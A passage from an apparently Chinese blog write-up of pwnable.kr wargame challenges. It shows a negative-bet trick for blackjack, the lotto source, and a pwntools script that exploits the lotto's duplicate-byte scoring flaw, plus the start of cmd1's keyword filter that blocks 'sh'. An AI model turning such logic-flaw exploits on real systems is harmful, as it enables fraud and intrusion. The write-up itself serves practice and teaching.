  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>21点游戏，没玩过，问了下豆包才知道。每人两张牌，越接近21越大，21是最大牌。超过21点爆掉直接输。发完牌可以选择是否抽牌，还是不抽。
这里不用看代码了，逻辑漏洞，没有检测负数情况。就直接下注一个负数就行，输掉，就给我们很多钱，参考《宁波市第八届网络安全大赛决赛Writeup》Easy_shop那题
由于题目说百万富翁，这里下注<code>-9999999</code>，输掉就行，然后继续游戏，弹出 flag
flag：<code>Woohoo_I_am_now_a_MILL10NAIRE!</code></p>
<h3 id="lotto">lotto<a class="anchor" href="#lotto">#</a></h3>
<blockquote>
<p>Mommy! I made a lotto program for my homework.
do you want to play?</p>
<p>ssh <a
  href="mailto:lotto@pwnable.kr"
  >lotto@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">submit</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="kt">void</span> <span class="nf">play</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Submit your 6 lotto bytes : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="nf">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="kt">int</span> <span class="n">r</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">submit</span><span class="p">,</span> <span class="mi">6</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Lotto Start!</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">        <span class="c1">//sleep(1);
</span></span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="c1">// generate lotto numbers
</span></span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="nf">open</span><span class="p">(</span><span class="s">&#34;/dev/urandom&#34;</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">fd</span><span class="o">==-</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;error. tell admin</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">lotto</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nf">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">lotto</span><span class="p">,</span> <span class="mi">6</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">6</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;error2. tell admin</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="nf">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">6</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="n">lotto</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">lotto</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">%</span> <span class="mi">45</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>         <span class="c1">// 1 ~ 45
</span></span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nf">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="c1">// calculate lotto score
</span></span></span><span class="line"><span class="ln">37</span><span class="cl">        <span class="kt">int</span> <span class="n">match</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">i</span><span class="o">&lt;</span><span class="mi">6</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                <span class="k">for</span><span class="p">(</span><span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">j</span><span class="o">&lt;</span><span class="mi">6</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                        <span class="k">if</span><span class="p">(</span><span class="n">lotto</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="n">submit</span><span class="p">[</span><span class="n">j</span><span class="p">]){</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">                                <span class="n">match</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">                        <span class="p">}</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="c1">// win!
</span></span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">match</span> <span class="o">==</span> <span class="mi">6</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="nf">setregid</span><span class="p">(</span><span class="nf">getegid</span><span class="p">(),</span> <span class="nf">getegid</span><span class="p">());</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/cat flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">        <span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;bad luck...</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">
</span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="kt">void</span> <span class="nf">help</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- nLotto Rule -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;nlotto is consisted with 6 random natural numbers less than 46</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;your goal is to match lotto numbers as many as you can</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;if you win lottery for *1st place*, you will get reward</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;for more details, follow the link below</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01</span><span class="se">\n\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;mathematical chance to win this game is known to be 1/8145060.</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">
</span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl">        <span class="c1">// menu
</span></span></span><span class="line"><span class="ln">70</span><span class="cl">        <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">menu</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl">
</span></span><span class="line"><span class="ln">72</span><span class="cl">        <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl">
</span></span><span class="line"><span class="ln">74</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;- Select Menu -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;1. Play Lotto</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;2. Help</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;3. Exit</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl">
</span></span><span class="line"><span class="ln">79</span><span class="cl">                <span class="nf">scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">menu</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">80</span><span class="cl">
</span></span><span class="line"><span class="ln">81</span><span class="cl">                <span class="k">switch</span><span class="p">(</span><span class="n">menu</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">82</span><span class="cl">                        <span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">83</span><span class="cl">                                <span class="nf">play</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">84</span><span class="cl">                                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">85</span><span class="cl">                        <span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">86</span><span class="cl">                                <span class="nf">help</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">87</span><span class="cl">                                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">88</span><span class="cl">                        <span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">89</span><span class="cl">                                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;bye</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">90</span><span class="cl">                                <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">91</span><span class="cl">                        <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">92</span><span class="cl">                                <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;invalid menu</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">93</span><span class="cl">                                <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">94</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">95</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">96</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">97</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>做到这题才发现不用关闭终端去重新连接，直接<code>su lotto</code>，然后<code>cd ~</code>就行。。。
彩票游戏，猜数字，要跟随机数一样，然后计算分数。关键是这个计分，两层循环，是把彩票值与输入值挨个对比，对一个加1分。满6分就赢了。
思路是输入6个一样的值，如果蒙对一个，挨个对比导致对6个加6分。
这样蒙对的概率就从<code>1/8145060</code>降到<code>2/15</code>，
脚本：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">log_level</span><span class="o">=</span> <span class="s1">&#39;debug&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;/home/lotto/lotto&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;3. Exit&#34;</span><span class="p">,</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34; :&#34;</span><span class="p">,</span><span class="n">p8</span><span class="p">(</span><span class="mi">8</span><span class="p">)</span><span class="o">*</span><span class="mi">6</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;bad luck...&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>老是搞错，字面量和字节。这里一个8就是一个字节，是\x08，所以用p8打包，两字节用p16，以此类推。
debug模式非常方便看接收和发送。read读取输入，可以用send()和sendline()，fgets和scanf必须用sendline</p>
<p>flag：<code>Sorry_mom_1_Forgot_to_check_duplicates</code></p>
<h3 id="cmd1">cmd1<a class="anchor" href="#cmd1">#</a></h3>
<blockquote>
<p>Mommy! what is PATH environment in Linux?</p>
<p>ssh <a
  href="mailto:cmd1@pwnable.kr"
  >cmd1@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kt">int</span> <span class="nf">filter</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">cmd</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="kt">int</span> <span class="n">r</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;flag&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="n">r</span> <span class="o">+=</span> <span class="nf">strstr</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="s">&#34;sh&#34;</span><span class="p">)</span><span class="o">!=</span><span class="mi">0</span><span class="p">;</span>
